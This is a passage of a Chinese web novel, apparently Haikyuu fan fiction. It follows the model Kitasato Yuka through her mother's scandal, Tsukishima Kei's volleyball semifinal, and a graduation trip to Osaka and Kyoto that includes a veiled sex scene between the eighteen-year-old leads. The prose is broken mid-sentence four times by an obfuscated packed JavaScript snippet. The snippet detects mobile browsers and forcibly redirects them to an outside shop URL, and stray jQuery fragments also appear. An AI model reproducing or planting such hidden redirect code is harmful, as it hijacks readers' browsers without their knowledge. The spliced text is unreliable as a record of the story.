;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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摄影师见北里悠花愣在原地不动，叫了她好几声。可北里悠花还是置若罔闻，只是直直地看着手机发呆。她的手指颤抖到麻痹、喉咙干涩，连一句声音也发不出来。 凭什么。凭什么。凭什么。 太欺负人了吧。 风俗业是并不光彩没错，可她们母女却也只是拼尽全力活着罢了、她们当时连房租都交不起了啊。 北里女士也真是的，出了那么大的事情竟然瞒着她到现在。要不是今天刷到了新闻，她大概要成为世界上最后一个知道这件事情的人了吧。 所以这件事情到底和妈妈有什么关系啊！为什么会牵扯到北里女士身上啊！！！ 为什么……总是没有好事发生呢？ 前几天还在因为夏川西奈的退社沾沾自喜，现在她成了那个最大的蠢人。 “喂，悠花！你怎么了？” “你要跑去哪里啊？？这里还没拍完呢，悠花！！！” 北里悠花竭尽全力呼吸。 充足的氧气进入肺部，可还是喘不过气来一般难过。脚步不听使唤，北里悠花无视摄影师和工作人员的叫喊、向着大门口跑去。 她要去找北里女士。 36.36. 北里悠花是在家里见到北里女士的。 东京的公寓装修得富丽堂皇，而网上的骂声似乎并没有影响到北里女士。 她依旧穿着昂贵的真丝睡衣、坐在沙发上品茶白瓷杯里的馥郁红茶。头发顺滑垂在耳后，跟没破产时的作态一模一样。 她并不意外北里悠花的突然出现，露出一个笑来：“怎么回来也不说一声。” 太多情感涌上心头。 在真正见到北里女士时，北里悠花反而不知道该说些什么。 沉默许久，她才开口质问： “为什么不和我说？” “要不是我今天看到新闻，你打算一辈子都不和我说吗？为什么要被那些人指着鼻子骂？这根本不是你的问题啊。” “明明是那个夏川大臣干坏事，为什么倒霉的人成了你啊！” 她说着说着、情绪越来越激动，却被北里女士中途打断。 “悠花。”北里女士叫住她，“妈妈并没有什么委屈的。” “从结果来看，我们店的营收额增加了不少、曝光也多了。被骂两句又怎么样？钱还是进了我的口袋。” “我很好，非常好。所以你不需要担心我。” 骗人，大骗子。 北里悠花红着眼睛看着北里女士，她一听就知道对方在故作坚强。 小时候被讨债的人找上门时北里女士说的是“妈妈的工资很快要发下来啦”；为了生计做风俗业后北里女士安慰她“我们马上要住进大房子啦”；隐退后北里女士总问她“钱够用吗”。 北里悠花何尝不知道这是妈妈善意的谎言。 她不想让她担心，所以才一个人将一切都扛了下来。 北里悠花双手紧握裙摆，固执地继续输出：“可是妈妈，我不需要你这样！你为什么不再多为自己考虑一下呢？” “那你想怎么样？！”北里女士突然提高了声音，反问她。 “找律师打官司告那些网友？没人会接。让夏川大臣和我道歉？他确实是我的顾客。瘦死的骆驼比马大，他再怎么样也是夏川大臣！” “我确实是这些人口中的、下贱的、唯利是图的风俗女。” “悠花，这就是大人的世界。很多事情没有那么多是非对错可言，世界本就是不公平的。” “你爸爸死的时候我也想过老天为什么要这么对我？可是又有什么用？这只会让我自怨自艾，却养不活你。” “我需要钱才能养活你！！！为了钱我可以不择手段地去讨好顾客，是有家庭的也好、去当情人也罢，我需要你、至少你要开心地活着。” “可是妈妈……” 可是妈妈，看到你这样、我并不开心啊。 我不想要你哭泣、不想要你被人骂、不想要你为了我付出一切啊。 北里悠花的话哽咽在喉咙口，却发不出声音来。 北里女士说的没错，她还是太天真了。 “我更担心的是你，悠花。” “妈妈要和你道歉，是我连累了你。” 说到这里时，看着女儿的北里女士也红了眼睛。 北里悠花知道北里女士的意思。 她们之间的母女关系应该用不了多久就会被曝光，到时候所有人都会知道她是“风俗女的女儿”，没有粉丝能接受自己的偶像染上黑点。 北里悠花的演艺之路，很有可能会因为这件事可笑的发展而画上句号。 “对不起……对不起悠花。” “只是妈妈当时实在没有别的办法了，我只能去做风俗了……” “对不起……” 是妈妈害你当不了艺人，都是妈妈的错。 北里女士掩面哭泣。 她瘦弱的背脊在起伏，原本筑起的高高壁垒在说完真心话后尽数坍塌、看上去佝偻得像个老人。 “回东京吧悠花，回来之后妈妈可以送你出国、去留学，你想去哪个国家都可以。过几年没有人知道你是谁，你可以更名改姓。妈妈现在有钱了。你不要害怕……” 北里悠花没有资格埋怨，这或许是她既定的结局。但她不会藏起来，只有弱小且无能的人才会东躲西藏。她本就没有做错什么，何必如此？ 就算“风俗女的女儿”这个名号要跟随她一辈子，就算要被人在背后指指点点。 ——她也不会轻易放弃。 她没错，北里女士也没错，她们只是各有难处。 北里悠花走近北里女士，生疏地伸出手拍了拍她。 “我没事妈妈，会好的、没关系的。” 十一月好冷啊。 即便在装着中央空调的恒温室内，都让人冷到手脚冰凉。 * 北里悠花以身体不适为由，向学校请了半个月的病假待在东京陪北里女士。一直到窗外枯叶落尽、只剩下光秃秃的树枝，再次飘起雪花。 今年的初雪降临了。 恰好是从便利店走回家的路上，北里悠花没有带伞、而是单薄地站在冷空气里。城市一片萧瑟，只能听见耳边雪花轻盈飞落的簌簌声响。因为太过美丽，都不舍得移开眼睛。 六角形的白色精灵落在肩头，很快便化开隐去踪迹。她突然很想给月岛萤打个电话，跟他说： 萤君，我有点累了。 但在月岛萤面前、北里悠花却装得无事发生。 她有些贪心，总希望月岛萤眼中的自己是个家庭幸福、工作顺利、人见人爱的完美女生。也只有在他面前，她才能真正扮演一个被爱的小女孩。 至少最狼狈的样子，她不想让他看到。 北里悠花还是每天笑嘻嘻地和月岛萤打电话发消息，只说自己在东京拍摄时不幸感染了流感、为防止传染医生建议居家隔离半个月。 “不用担心我啦～我现在状态超好的，就是要再观察一下，好倒霉哦怎么偏偏在这个时候感染了流感呜呜呜……” “萤君好好准备春高就行，我会在考试前回来的。” 下个月是三年级生最后的春高比赛、决定他们命运的大学入学考试也即将到来。 月岛萤最近太忙，忙到就这样相信了北里悠花漏洞百出的说辞。 “记得每天按时吃三餐喝药，如果有不会的题随时发过来问我。” “……我不在的时候好好照顾自己啊，笨蛋。” 他是那样跟她说的。 月岛萤最会嘴硬心软了。 远处的圣诞树又在亮灯。 东京不愧是东京，圣诞树都比宫城的要再大上一圈。去年梦幻的圣诞节仿若昨日，恍惚之间北里悠花下意识摸了摸空荡荡的脖颈。 项链放在宫城的家里了，没带过来。 传说跟喜欢的人一起看初雪的话，就能永远幸福。可宫城的初雪早就在前几天降临了，她没能和月岛萤一起看。 * 日向小姐的电话在这天深夜打来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711804|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在她看来手下的艺人只有两种类型：能赚钱的，和不能赚钱的。 现如今，北里悠花要被归为后者了。 拨打电话时，日向小姐难得犹豫了下。这几年她看着北里悠花长大，从什么都不懂的小屁孩到现在十八岁的少女，说心疼算不上、更多的是觉得唏嘘。 事务所在昨天收到了消息，夏川大臣的腐败案弯弯绕绕、最后竟然牵扯到了北里悠花身上，着实让所有人意外。 ——北里悠花是妈妈桑Emily的女儿，这颗定时炸弹终究还是要爆炸了。 文春的狗仔是第一个拿到独家爆料的，他们问事务所的高层是否要买断这个新闻。 毕竟北里悠花只是个小模特、事务所只需花1000万円就能保住北里悠花，这实在是笔划算的买卖。 可那些老狐狸还是选择放弃北里悠花。 没有必要再留着一个隐患，漂亮的新人有很多、在他们眼里北里悠花确实不值1000万円。 得知事务所的决定后，日向小姐并不奇怪。 世上的人本就趋利避害，更何况是一群出卖良心的人资本家。只是…… 只是她有些不忍心。 北里悠花是个好苗子、当艺人的天赋型选手。她拥有被他人喜爱的能力，作为少女偶像无可挑剔。从走秀到平面拍摄，日向小姐可以断言：北里悠花天生就该吃这碗饭。 日向小姐知道自己没必要多管闲事，她本不应该提前告诉北里悠花这件事，但她也有对不起她的地方。 即便是高层授意，当初也是她签下的夏川西奈……可以说，造成如今局面的很大原因是她。 “喂，日向小姐。” 电话过了一会儿才被接通，北里悠花的声音带着一些沙哑。 还没等日向小姐开口，北里悠花就着急道歉：“抱歉，之前的拍摄我突然离场了，给大家添麻烦了。” 日向小姐抿了抿唇：“你不用道歉，我今天打电话来是有别的事要和你说。” “是有狗仔查到了我吧。” 北里悠花很聪明，立马明白了日向小姐的用意。 “是。”日向小姐还是下达了判决书。 “事务所昨天收到消息了，最终高层的决定是到期不续约。合同期正好到你毕业为止、到时会自动解除劳动关系。” “当然，手头的工作也需要暂停。收尾的几个拍摄任务会在这周完成，到时候你的IG、YouTube账号公司都有权利收回。” 北里悠花的语气冷静得不像话：“那他们打算什么时候曝光我？” 日向小姐稍稍停顿了下：“下个月的十八号。” “这样、我还以为他们明天就会曝光。” “最近还有个顶流男团成员未婚生子的新闻没放出来。” 听闻此言，北里悠花在电话那头轻笑了下。 看吧北里悠花，这个世界是按资论辈的。 如果咖位不够的话，连被曝光丑闻都排在后面。 “那还真是感谢他们了，能让我安心考完试、接受事实。” “日向小姐，这么多年来也很感谢您对我的照顾，我知道其实不应该提前告诉我这个消息的。” 曝光的时间正好到入学考试后。 冥冥之中，北里悠花感受到了命运的滑稽。 所以神明大人啊，请您原谅我的贪婪。 最后的一个月，让我继续做一场美梦吧。 37.37. 东京体育馆，春高男子准决赛。 乌野对阵井闼山，离总决赛只有一步之遥。 第五局决胜局。 北里悠花有些格格不入。 已经看了四局比赛，整个人都昏昏沉沉。对于一窍不通的外行来说，实在有些折磨。她坐了四十五分钟电车才到达体育馆，一进场就被观众的数量吓了一跳、简直和仙台是两个级别。 两边的应援会都声势浩大，她远远看去还能认出不少熟人，星野杏、村上由奈都在跟着教导主任喊加油。 “燃烧吧燃烧吧乌野，得分吧得分吧乌野！！！” 洗脑的口号和太鼓声相伴，在日向翔阳又拿下一分时达到顶峰。 北里悠花混迹在热闹的观众席中，赛隆巴斯喷雾让精神也得到镇定。她被淡淡薄荷与药味包裹，目光只停留在一个人身上。 排球在月岛萤的指尖灵巧跳跃、又形成漂亮的弧度。平时的月岛萤是冷色调的，而碰到排球时、眉眼会透着兴奋与恣意，染上明亮的暖色。 身旁不时有人在议论月岛萤。 他被称作“那个乌野的高个子”、“四眼仔”、“阴沉眼镜”、和“乌野的11号”。无关喜好，观众们只是在他做出精彩的拦网时欢呼。 这是月岛萤的最后一次春高。 却是北里悠花第一次，想要笨拙地了解他的世界。 她没有告诉月岛萤自己今天要来看比赛，也没有坐到乌野高校的应援区域——过于专业的应援声和班上的熟人都让人望而却步。 真正开始看比赛才发现，自己果然是运动废柴。 她看不懂为什么打着打着要轮位，也不知道为什么比分在25-24时还要接着打；月岛萤总是要站在网前防守跳跃、看着就累；被排球打到一定很疼、撞击手臂的响声贯穿赛场…… 但月岛萤是如此喜爱排球。 北里悠花能看出来，这是属于他的黄金时刻。 赛况很焦灼。 球永远在天上飞，一群人拼了命也要接起，哪怕狠狠倒在地上、撞得青一块紫一块。 太热血了、热血得让人自惭形秽。 回想自己的高中时代，好像未曾经历过这样的时刻。北里悠花没有关系特别好的朋友、更何谈值得信赖的队友了。她的学校生活充斥了太多现实因素，在镜头面前永远扮演一个听话的、没有灵魂的假人。 比起羡慕，更是一种枉然。 北里悠花将表情隐藏在口罩下，感觉呼吸都要停滞。 因为此时，最后一球落地了。 砰—— 重重的、残忍的。 哨声响起。 在这一刻，月岛萤给自己的高中三年交上了答卷。 乌野不敌井闼山，止步于男子组准决赛。 月岛萤、日向翔阳、影山飞雄、山口忠所在的乌野高校，取得了全国第三名。 也是有史以来的最好成绩。 北里悠花知道月岛萤有多不甘。 三年级课业繁重，像他这样的精致利己主义者却还是愿意为了部活每天训练，有时候打着电话都能睡着。受伤时常有的事情，淤青骨折、好像没断手之前都能继续打。 她果然还是了解不了排球的有趣。 但是……如果是月岛萤赢得比赛就好了。 北里悠花听见月岛萤用比平常大许多的声音、对应援的观众们说了感谢。 月岛萤保持了鞠躬的动作许久，北里悠花想、他是不是在掩藏眼泪。可当他抬头时，表情已是一片释然。 坐在观众席的北里悠花突然很想抱抱他。 可她并没有打扰月岛萤，在比赛结束后就准备悄悄离开。冬季的厚外套不断被来往的人潮挤压，她顺着散场的路线走到体育馆外。 夕阳拉长影子，冷空气进入鼻腔。美瞳有些干涩，北里悠花用力眨了眨眼睛。 手机有新消息提醒。 K君： 「站着等我。」 她是个无足轻重的旁观者，却把月岛萤从少年漫拉进了她贫瘠的生命里。 * 他们已经半个多月没见面。 北里悠花在东京、月岛萤在宫城，每天隔着手机交流感情。 这段时间发生了太多事情，她没有办法告诉月岛萤。所以一想到要见面，就像网友奔现、只能搅着手指掩饰尴尬。 脑子一片混乱。 月岛萤出现时，已经换了身干净的衣服。他额前的头发有点湿，走来的步子很快、北里悠花总觉得才几天不见他又高了些。 距离并没有让月岛萤产生隔阂，见到北里悠花就褪去了生人勿近的冷酷。 是有些老套的场景。 太阳还未完全坠入地平线，残存的光线在他身上流转，显得原本优越的五官更加立体。 于是干了坏事的北里悠花只好先开口：“你怎么知道我来啦？” “最后列队的时候看到你了。” “欸？我明明都坐那么角落了……” “因为感觉有人一直在盯着我看。”月岛萤故意逗她，“然后抬头就发现你一脸要哭的样子。” “……才没有要哭啦！只是看到你没有赢有点难过。” “为什么不和我说你要来看比赛？” “因为怕你看到我就分心啦~” “这点倒是不用担心。” “……打你哦！” 毫无威慑力的发言。 月岛萤看着她脸上的白色口罩：“身体怎么样了？” 北里悠花这才想起他还把自己随口撒的小慌放在心上，掩饰般慌乱点头：“嗯嗯，已经没什么事啦。” “这样啊。” “萤君是不是想我啦，所以那么着急出来见我。” 月岛萤笑笑，自然地摘下她脸上的口罩、亲了她的嘴唇一下。 “嗯。” 和无数个昨天一样、是他习惯性的亲吻方式。 北里悠花愣在原地。 密密麻麻的、像有无数跟细针在心口戳般疼。她以为自己足够坚强，可是不是的、每个人都有脆弱的权利。 她拉了拉月岛萤的衣服。 并行的关系到了分岔口、此刻她只想自私地抓住易碎的幸福。 “萤君。” “嗯？” ——我好想你啊。 人在脆弱的时候会对最亲密的人展露柔软。 可思绪万千，北里悠花还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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北里悠花不想因为自己再影响月岛萤的心情，今天他该被簇拥、享受欢呼。 月岛萤长那么大很少被人摸头，他面上表情有点不自然。 “你以为我还是小孩吗？” “嘻嘻。” 月岛萤觉得北里悠花今天有点奇怪、却又说不上来原因，只是深深盯着对方故作坚强的笑脸看了许久。 “你怎么了？” “嗯？我没怎么呀，就是可能快要考试了有点焦虑。” “对啦，下周考完试我们一起去USJ毕业旅行吧！好想和萤君一起旅行呀～” 北里悠花拙劣地转移话题，拉着月岛萤的手臂来回摇晃：“好不好嘛。” 在北里悠花面前，他没有拒绝的选项。 月岛萤稍加思索便答应了下来：“好。” 得到回复后，北里悠花就推着他的肩膀往回走：“快回去吧~我到家会和你说哒。” 北里悠花笑着朝他招手道别。 她看着他的背影逐渐缩小成一个小点，假装不在意地吸了吸鼻子。夕阳渐渐隐去了踪迹，光芒也被带走了。 38.38. 三年级的引退仪式并没有想象中的盛大。 简单聚餐后，大学考试季已然到来。 入学共通考试、个别学力检查的接踵而至，让受验生们倍感压力。终于在经过痛苦且漫长的备考后，一周后某个早晨，天光大亮、积雪消融，所有的考试正式结束，接下来只需等待正式的录取结果。 比起月岛萤的波澜不惊，北里悠花发挥得不好不坏、毕竟她的志愿里也没有什么名校。离毕业还有一段时间，高三生们进入了真正意义上的、悠长假期。 而属于北里悠花的时间，还有两天。 * 大阪USJ，好莱坞美梦过山车。 他们早晨就从仙台坐新干线出发，好一顿折腾到了大阪的酒店、寄存完行李就乘电车去环球影城。抵达园区是日落时分，北里悠花嚷嚷着必须要在傍晚坐这个过山车才有感觉，又一把拉着月岛萤去排队。 因为不希望最后留下的回忆全是眼泪，北里悠花的脸上看不出一点难过，就像真的只是来旅游的普通游客。 等到真正坐到位子上时才有须臾的紧张，随着安全压杠落下、过山车开始沿着轨道缓慢爬升，北里悠花只能下意识地拉住了旁边月岛萤的手。 “不是你吵着要坐的？现在害怕了？” “哪有……” 北里悠花实在是个胆小鬼，又菜又爱玩。明明不喜欢绝叫项目，还是逞能地因为网上的推荐坐了上来。于是上升的过程中，她一直紧闭着双眼不敢睁开。 “悠花。” 她听见月岛萤在叫她，声音愉悦。 “干什么！呜呜呜我承认我害怕行了吧……我不敢睁眼啊啊啊啊！！！” 北里悠花开始胆小鬼发言。 月岛萤笑了声，捏了捏她的手：“景色很漂亮。” 听到这话，北里悠花才敢小心翼翼地将眼睛睁开一条缝。 慢慢的、视野逐渐变得清晰。 远处大阪的城景在眼前铺开、霓虹闪烁，暮色将天空渐变成绚丽的、不真实的橘粉。蓝调即将到来，脚下便是整个园区的缩影。 冬季的冷风擦过脸颊，耳边忽而响起《Osaka Lover》熟悉的旋律。 落日飞车满足了她所有的罗曼蒂克幻想。 抵达最高点时，歌词恰好唱到： 「楽しそうにしてたって 虽然我看起来很快乐。」 「それはあなたがここにおるからやもん这当然是因为你在这里。」 随后整个人迎来接近90度的飞速下坠，腾空、失重、世界倒转翻滚。 鼓点加强、心跳快要跳出喉咙，音乐也迎来了高/潮。苍穹之下，北里悠花被天空温柔地包裹着，看到前排有人高举起双手、迎着风放声尖叫，她也忍不住将恐惧与害怕爆发出来。 好痛苦，好难受。 我该怎么办。 “啊啊啊啊啊啊——” 她听到自己很没骨气的大叫声，风灌进嗓子、开始变得沙哑。 所有的压力和束缚都在这一刻飞速瓦解，痛苦只悬浮在空中。 北里悠花的泪水不受控制地留下，月岛萤还是紧紧拉着她的手没有松开。 掌心里传来他的温度。 可是你在这里，我就感到幸福。 所以神明啊，能让幸福再多停留一会儿吗？我还不想放开他的手。 当双脚再次接触地面时，北里悠花有些踉跄。 后面很多年，她还是会想到这天绚烂、珍贵、无法复刻的瞬间，转头就能看到少年的侧脸、有着只在她面前才展露的温柔笑意，他不会放开她的手。 真的像做了一场美梦。 * 和之前约定过的那样，尽管月岛萤面露难色，北里悠花还是缠着他戴上了史努比发箍。原本两个垂下的史努比耳朵被北里悠花调整成了微微翘起的样子、和月岛萤的帅脸搭配起来十分有反差萌。 北里悠花：“好可爱！” 月岛萤：“（=.=）” “干嘛那么不情愿，我不是也陪你戴了吗？” 北里悠花指了指自己头上的同款发箍，笑眯眯地说。 “明明是你自己想戴吧。” “（^*^）” 夜色已经降临，欢快的背景音乐在园区里回荡。 北里悠花并没有什么其他要玩的项目，月岛萤也不是钟情于游乐设施的性格，所以他们牵着手、戴着主题发箍在园区里漫无目的地闲逛，又不时停下来拍几张照片。 然后在中心的人工湖边找了个位子坐下。 北里悠花就这样将脑袋靠在月岛萤的肩膀上，懒洋洋地打了个哈欠：“萤君你还记得吗？” “什么？” 月岛萤问。 “之前我在夏天许的愿望，萤君都帮我实现了欸。” “再去一次夏日祭、毕业旅行、给你戴史努比的头箍……哦，可惜今天来得不巧，小黄人的合照环节已经结束了。” 月岛萤不理解她的突然感性，只是说：“可以下次再来。” 再来一次大阪并不是什么难事，虽然大学入学后会忙一点、北里悠花也会去东京，但月岛萤并不觉得距离是什么问题。 听到他说“下次再来”，北里悠花只能保持沉默。 月岛萤是个别扭的人，却能在她面前袒露所有情绪。在这样真诚的喜欢下，反而显得她是个无耻且卑鄙的坏蛋。但今天的梦境太过美好，她不想亲手打破。 “下次啊……”于是北里悠花重复着月岛萤的话，笑了笑，“好呀。” “以后还想和萤君去北海道看雪、去东京迪士尼、去京都看枫叶。如果能出国就好了！去法国意大利，还想去西班牙……不过这都是要在一起很久很久以后的事了。” “还有啊，这一年多我真的好幸福好幸福，能喜欢上你真是太好了。” “萤君有时候，真的好像实现愿望的圣诞老人哦。总是为我做好多好多事，我感觉自己都要被你宠坏了。” 湖面映着游乐设施的倒影，北里悠花轻轻对他说。 “不是应该的吗？” “欸？” “虽然不知道为什么你会这么想，但是悠花，和我在一起的时候你不用有负担。” 月岛萤不是会讲情话的类型，他只是平静地讲述他认为的客观事实。在他的逻辑里，对恋人付出是一件再正常不过的事情。 “悠花，你做自己就好。” 他说，做自己就好。 北里悠花坐直了身子看向他。 夜晚，她的眼睛却亮晶晶的。从前月岛萤被她这样注视会有些不自然，一年多后的现在、他已经能名正言顺地帮她整理好耳后被围巾弄乱的头发，再触碰她温暖的脸。 月岛萤很可靠。 他会包容她的所有，纵容她一次又一次挑战底线，甚至愿意陪着她干一些情侣之间的傻事。 所以北里悠花知道，今晚自己的请求也不会被拒绝。 晚间的花车巡游开始了，主街区人声鼎沸。 黑暗之中，她主动凑上去亲吻他。 张开嘴巴、呼吸混乱。 唇舌交缠之间，她感受到月岛萤也摁住了她的身体，热得不行。 冬季的冷风并没有吹散躁动，一吻之后北里悠花气喘吁吁、然后在月岛萤的耳边轻声开口： “今天要做吗？” * 月岛萤是个讲究的、爱干净的小少爷。 一回到酒店，北里悠花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739065|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就被月岛萤按在房门上。他的吻有些着急，细密落在她的脸上、脖子上。然后衣服也莫名其妙地散落一地，她被他抱起走到浴室洗澡、裹着浴巾擦干，再抱回到床上。 北里悠花也有私心。 她订的是大床房、早就心知肚明会发生什么，连里面穿的都是最新的蕾丝款、还提前买好了某些必需品。 一年多的亲亲抱抱已经让月岛萤顺利掌握北里悠花的所有敏.感点，他们对彼此的身体并不陌生、只是没有做到最后。 月岛萤在这件事上，总保留着一些男人的劣根性。 和拦网一样，他擅长忍耐、观察、等待。喜欢等到最后她变得焦躁且失控时，才一举攻破最脆弱的防线。又故意做些诱导对手的假动作，引导她主动上钩。 像淅淅沥沥下着的小雨。 北里悠花被月岛萤抱着、浑身开始发烫。只能难耐地在他怀里、从喉咙口说出破碎的话语向他索吻：“……唔，萤君，亲亲我。” 月岛萤将房间的灯关掉，只留一盏台灯。他是冷白皮、身体精壮，北里悠花伸手摸上去只觉得不舒服。 手在雨势最强的地方停下动作，月岛萤恶劣地开口： “是这里难受么，怎么一直在蹭我？” “悠花现在的样子好可怜。” 月岛萤的耐心很好，似乎就是想逼她放下羞耻心回答。 和比赛时一样，面对对手的挑衅、还能游刃有余地说些骚.话。 “呜呜呜。” 好想要萤君亲亲…… 她渴望月岛萤，也希望月岛萤能更亲密地对待她，想要更多更多。 北里悠花只想出于本能地沉浸在幸福里，不再管那些现实世界的糟糕事。索取之间，她能短暂忘记烦恼，神经也麻木、只觉得无比快乐。 所以如月岛萤所愿，她的欲.望战胜了理智，身体的渴求让北里悠花颤颤巍巍的点了点头，声音也断断续续、仿佛游离在外： “……是这里。” “萤君，想要……” 月岛萤终于得到满意的答复，他吻了吻她的耳垂：“好。” 拼凑新模型并不简单。 都是初学者，刚开始十分生疏、没有经验。 并没有什么使用说明书，只能根据感觉。每一步都很关键，先找到合适的位置、再小心谨慎地安装零件进去。 这一步显得有些手忙脚乱，月岛萤也难得地头脑犯晕，一根弦快要崩坏。 毫无章法可言。 角度也很有讲究。 模型很脆弱、易碎、珍贵，有了之前的探索和呵护，一切还算顺利。 尺寸不太匹配，但也能契合。 他听见北里悠花像小猫一样、一声声地哭喊。好可怜、又好可爱，月岛萤只能吻去她脸上的生理泪水。 晚间的雨势越来越大。 落在身上、周围，浸润干涸土壤的每一处。北里悠花觉得自己身处深海之中，随着海浪碰撞、跟着大风摇晃。 最后不知道过了多久，北里悠花才脱水般依附在月岛萤身上气息凌乱。 因为下雨，天气并不爽快、弄得人浑身黏糊糊的。北里悠花已经疲倦地睁不开眼睛，年轻气盛的运动选手却再次让她软下身子。 “萤君，萤君……” 太困了，北里悠花只记得自己不断叫他，她第一次知道自己还能发出这样甜腻的声音。 而每次一叫他的名字、海上的波浪就更加翻涌。 雨在凌晨时停了。 她迷迷糊糊被抱着去洗澡，然后舒服地在月岛萤怀里找了个位置睡觉。 她最近睡觉时并不安稳，也喜欢流眼泪，像是做了噩梦一样。但今晚睡得很沉，周围都是月岛萤身上好闻的味道。 39.39. 全身酸痛。 这是北里悠花睁开眼的第一个想法。 限制.级小电影果然没骗人，生理课和实战还是不太一样，北里悠花埋头在被子里不愿面对事实。 月岛萤不在床上。 浴室里哗啦啦的水声停了，接着她听到对方的声音响起：“醒了？” 这才从被子里探出头：“嗯嗯。” 月岛萤洗漱完毕。 他并没有穿上衣、露出分明的腹肌，北里悠花注意到他肩膀上还有昨晚自己留下的牙印和抓痕。当时她全身被托着往下坐、用尽力气咬他才没失态。可那人仿佛没有痛觉一般，被咬了还能笑着继续鼓励她： “放松。” “悠花好棒。” “这里打开往下坐。” “……” 总之各种话被月岛萤这张嘴说出来就涩.情得不行，早上回想起才觉得被灌了迷魂汤。 简直闷骚到了极点。 此时闷骚眼镜男看起来心情十分不错，他看着北里悠花停留在他肩膀上的视线、勾了勾嘴角： “怎么盯着我看？” “没有看你。” “哦，要看也可以。” “？” 面对北里悠花疑惑的表情，他补充道：“反正也是你留下来的。” “……” “……？” “……！！！” 北里悠花再次把头埋进被子里。 漆黑狭小的空间让她平静许多，比起害羞、更多的是心虚。她不知道该怎么面对月岛萤，也不知道该如何在亲密过后，再残忍地对他提出分手。 昨晚虽然有些头脑发热，但也是她的提前预谋。 北里悠花不是什么大圣人，心理和身体的空虚又只有月岛萤能满足。所以即便到了最后她也依旧对月岛萤不太好，没有付出百分百的真心、只想着自己在甜蜜里享乐。 “午餐想吃什么？” “……萤君去便利店买上来给我吃吧，我要一个三明治就好。” 她是个彻头彻尾的烂人。 * 酒店位置在梅田附近。 作为大阪中心地带，下方便是四通八达的地下铁线路、时时刻刻都挤满了人。这次的毕业旅行计划由北里悠花一手包揽，等到她全妆完毕出门已经快中午。 第二天的目的地是京都。 从梅田出发、乘坐五十分钟电车即可到达鸭川边。 到达时天气并不太冷，阳光和煦洒在河流之上。 河边有慢跑的居民，也有直接坐在阶梯上畅谈的情侣。耳边只能听到潺潺的流水声，在冬季平缓地流淌。 没有什么特别的原因，只是比起在餐厅、酒店房间、或是新干线上，这里更能好好把话说清楚。北里悠花看着月岛萤，在光下露出笑脸。 还是和第一次见面时一样。 北里悠花精心打扮、看起来像颗毛茸茸的粉色水蜜桃。她希望今后月岛萤想起她，永远会是漂亮的、自信的、没有悲伤的。 她今天忘记戴围巾出门了，于是在风大的河边，月岛萤把自己的白色围巾解下、再一圈圈缠绕到她的脖子上。 他好像已经习惯做这些，总会帮北里悠花收拾好所有大小事。明明在人前不是这样的，却又对她这样好。 但是没有别的办法了、真的到最后了。 再不说的话，明天月岛萤就要看到新闻里她的丑态了。他会怎么想她呢？他应该不会和别人一样，他肯定会心疼她的吧。 以后的月岛萤会是什么样的呢？ 或许会成为历史学家、也可能去打职业排球。 他还会留在宫城吗、还是会去到别的地方？他们在将来的某一天会偶遇吗？ 好难过呀。 北里悠花感受着脖子上羊绒的温暖，和月岛萤并肩看着鸭川。 “鸭川跟神社附近的河也没什么区别欸。” “河在哪里都差不多吧。” “但我觉得，还是神社的那条河更好看呢。” “为什么？” “因为是和萤君留下美好回忆的地方呀。” 乱扯话题。 “那提问！跟我在一起那么久了，萤君哪一天是最幸福的？” “……你很无聊。” “快说嘛~我想知道！” “……” 月岛萤思考了会儿，仍旧没有给出答复。他将北里悠花冰凉的手握在掌心：“我不知道。“ “怎么这样！” 月岛萤是真的不知道。 他没有刻意思考过，因为北里悠花早就像呼吸一样、成为了他生活的一部分，没有人会去计算呼吸的次数。 “我知道了，那一定是每一天都很幸福吧~” “你不说话我就当你默认了！” 北里悠花说。 月岛萤无奈。 “因为我也是哦，跟萤君在一起的每一天都很幸福。” 风模糊了北里悠花的声音，她深吸了一口气。 “一起吃饭很幸福、约会很幸福、昨天去USJ很幸福、今天来到京都很幸福，就连萤君帮我补习也好幸福……感觉在你身边我一直喜欢重复好幸福，在遇到你之前我很少那么幸福过。” “我一直很喜欢萤君。那天和夜跑的你偶遇后，我就知道萤君会是我的男朋友。怎么说呢，要用一个词来形容的话、大概就是……命中注定？” “很神奇吧~” 月岛萤不知道她这番话的用意，只是单单应了声等着她接着往下说。 “月岛萤。”北里悠花突然叫了他的名字、和他对视。 那句话在她舌尖转了无数遍，可即便打了那么多次草稿、也还是无法轻易说出口。她想保持冷静的，想要笑着说出全部的，可眼泪还是不受控制地掉了下来。 